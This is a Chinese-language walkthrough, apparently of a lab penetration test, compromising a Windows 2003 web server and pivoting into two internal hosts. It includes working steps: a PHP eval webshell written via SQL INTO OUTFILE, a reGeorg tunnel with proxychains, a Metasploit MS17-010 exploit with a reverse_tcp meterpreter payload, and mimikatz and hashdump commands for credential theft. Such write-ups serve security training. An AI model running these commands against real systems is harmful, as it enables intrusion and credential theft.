一次内网渗透详细过程

前言

目标：给出一个目标机ip，得到该服务器权限，并通过该ip渗透至内网控制内网的两台服务器

攻击机：kali  (192.168.31.51)

目标机：windows 2003  (192.168.31.196)

1.暴力破解

在前台“会员登陆”发现用户的账号

使用burpsuite爆破出弱口令密码

成功登陆用户界面

2.SQL注入

在网站首页发现SQL注入点

使用sqlmap工具获得管理员账号和密码

3.越权添加网站后台超管

 进入kefu管理员后台，发现是普通管理员权限，很多操作受限制

通过抓包发现可以修改权限，将“submanage”修改为“manage”，然后放包

成功将“普通管理员”权限修改为“超级管理员”，然后再抓包发现“包”中的权限还是“submanage”,继续修改为“manage”

修改成功，【在这个网站中，普通管理员想要操作不受限制，没次操作都可抓包修改为“manage”，所以在这里我利用此漏洞直接添加一个超管，便于操作】

成功登陆我刚新建的超管“let”

4.getshell

通过ip访问此网站，发现该网站存在“探针”，可以查看到当前网站目录

通过sql注入出的管理员账户密码，登陆“data”管理员后台，发现此管理员有执行sql语句的权限，利用数据库命令，将“php一句话”写入到网站根目录下

例如：select "<?php eval($_POST['pass']);?>" into outfile "C:/UPUPW_AP5.2/htdocs/wlt.php"

 

 成功用“菜刀”连接网站后台

 

5.添加系统账户【超管】

 上传一个“php大马”

 

利用“大马”执行命令，创建系统超管账户

 

扫描发现3389端口开启，远程连接到系统

 

6.隧道代理-端口转发

开启reGeorg监听：python reGeorgSocksProxy.py -p 9527 -u http://192.168.31.196/tunnel.php

 

使用proxychains工具

 

设置代理，先vi /etc/proxychains.conf编辑，再将第二行命令运行【复制相关文件，需要调用】，最后添加firefox和nmap等用到的工具

 

取消图中的注释

 

添加通道5，代理监听的端口，例如9527

 

使用nmap工具查询开放的端口

 

通过用户想要使用的应用程序运行ProxyChains，例如，启动msfconsole  

执行命令：proxychains msfconsole

 

如下图所示，输入命令执行脚本便可连接到目标主机

【1】set payload windows/x64/meterpreter/reverse_tcp

或者set payload windows/meterpreter/reverse_tcp //针对目标机器使用的系统版本，目标机器32位就使用32位

【2】set LHOST 本机IP

【3】use exploit/windows/smb/ms17_010_psexec【脚本】

【4】set RHOST 目标IP

【5】run

如下图所示，表示成功连接到了目标主机，可输入相应的命令来达到目的

 

代理获取系统账户和密码

获取加密密码

例如输入命令：run post/windows/gather/smart_hashdump，可以获取目标主机的账户和密码

 

获取明文密码

利用mimikatz获取明文密码，命令如下【我只用了两条命令】：

meterpreter > load mimikatz  #加载mimikatz

meterpreter > msv #获取hash值

meterpreter > kerberos #获取明文

meterpreter >ssp   #获取明文信息

meterpreter > wdigest #获取系统账户信息

meterpreter >mimikatz_command -f a::   #必须要以错误的模块来让正确的模块显示

meterpreter >mimikatz_command -f hash::   #获取目标 hash

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

 

开启3389端口

用run getgui -e命令开启3389端口

远程连接

使用远程连接，连接目标主机：proxychains rdesktop 192.168.238.129和proxychains rdesktop 192.168.238.130